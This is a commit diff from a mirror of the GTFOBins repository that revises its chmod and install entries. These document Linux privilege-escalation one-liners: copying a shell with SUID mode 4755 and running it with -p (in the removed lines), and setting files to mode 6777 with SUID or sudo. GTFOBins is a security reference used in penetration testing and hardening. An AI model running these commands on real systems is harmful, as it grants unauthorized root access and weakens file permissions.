mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 04:22:52 +01:00
Make install similar to chmod
This commit is contained in:
parent
fbe4b42890
commit
c80e83c3c5
@ -1,12 +1,12 @@
|
||||
---
|
||||
description: This can be run with elevated privileges to change permissions and then read, write, or execute a file.
|
||||
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.
|
||||
functions:
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_change
|
||||
./chmod 0777 $LFILE
|
||||
./chmod 6777 $LFILE
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_change
|
||||
sudo chmod 0777 $LFILE
|
||||
sudo chmod 6777 $LFILE
|
||||
---
|
||||
|
@ -1,13 +1,14 @@
|
||||
---
|
||||
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a copy of the file.
|
||||
functions:
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_change
|
||||
TF=$(mktemp)
|
||||
install -m 4755 `which sh` $TF
|
||||
$TF -p
|
||||
./install -m 6777 $LFILE $TF
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_change
|
||||
TF=$(mktemp)
|
||||
sudo install -m 4755 `which sh` $TF
|
||||
$TF -p
|
||||
sudo install -m 6777 $LFILE $TF
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user